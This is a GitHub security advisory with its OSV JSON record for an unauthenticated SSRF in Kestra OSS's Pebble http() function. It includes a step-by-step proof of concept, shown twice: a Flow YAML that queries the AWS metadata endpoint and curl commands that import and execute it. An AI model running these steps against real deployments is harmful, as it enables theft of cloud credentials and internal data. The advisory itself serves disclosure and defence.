GHSA-R56G-Q4P6-M3P6
Vulnerability from github – Published: 2026-09-17 17:15 – Updated: 2026-09-17 17:15Summary
The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.
Details
The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):
- No URL validation: User input is passed directly to
URI.create()with no checks for private IPs, internal hosts, or restricted schemes - No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
- No scheme restriction:
file://,gopher://schemes are not blocked - No authentication required:
TenantValidationFilter.javaonly checks tenant == "main" — no authentication - Unconditional registration:
HttpFunctionis registered without any feature flags inExtension.java:180
PoC
Prerequisites:
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30
Step 1: Create malicious Flow YAML
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML
Step 2: Import without authentication
curl -X POST http://localhost:8080/api/v1/main/flows/import \
-F "fileUpload=@/tmp/ssrf_poc.yaml"
Step 3: Execute the flow
curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata
Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)
Impact
- CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- CWE: CWE-918 (Server-Side Request Forgery)
- Affected: All Kestra OSS versions (default deployment)
- Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.kestra:core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.kestra:kestra-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73247"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:15:50Z",
"nvd_published_at": "2026-08-11T22:19:05Z",
"severity": "HIGH"
},
"details": "### Summary\nThe Pebble template engine\u0027s `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.\n\n### Details\nThe root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106):\n\n1. **No URL validation**: User input is passed directly to `URI.create()` with no checks for private IPs, internal hosts, or restricted schemes\n2. **No IP filtering**: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1\n3. **No scheme restriction**: `file://`, `gopher://` schemes are not blocked\n4. **No authentication required**: `TenantValidationFilter.java` only checks tenant == \"main\" \u2014 no authentication\n5. **Unconditional registration**: `HttpFunction` is registered without any feature flags in `Extension.java:180`\n\n### PoC\n**Prerequisites:**\n```bash\ndocker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local\nsleep 30\n```\n\n**Step 1: Create malicious Flow YAML**\n```yaml\ncat \u003e /tmp/ssrf_poc.yaml \u003c\u003c \u0027YAML\u0027\nid: ssrf_metadata\nnamespace: company.team\ntasks:\n - id: exfiltrate\n type: io.kestra.plugin.core.log.Log\n message: |\n {{ http(uri=\u0027http://169.254.169.254/latest/meta-data/\u0027, method=\u0027GET\u0027) }}\nYAML\n```\n\n**Step 2: Import without authentication**\n```bash\ncurl -X POST http://localhost:8080/api/v1/main/flows/import \\\n -F \"fileUpload=@/tmp/ssrf_poc.yaml\"\n```\n\n**Step 3: Execute the flow**\n```bash\ncurl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata\n```\n\n**Step 4: Verify** \u2014 the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)\n\n### Impact\n- **CVSS 3.1**: 8.6 (HIGH) \u2014 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n- **CWE**: CWE-918 (Server-Side Request Forgery)\n- **Affected**: All Kestra OSS versions (default deployment)\n- **Impact**: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft",
"id": "GHSA-r56g-q4p6-m3p6",
"modified": "2026-09-17T17:15:50Z",
"published": "2026-09-17T17:15:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kestra-io/kestra/security/advisories/GHSA-r56g-q4p6-m3p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73247"
},
{
"type": "PACKAGE",
"url": "https://github.com/kestra-io/kestra"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services \u0026 cloud metadata"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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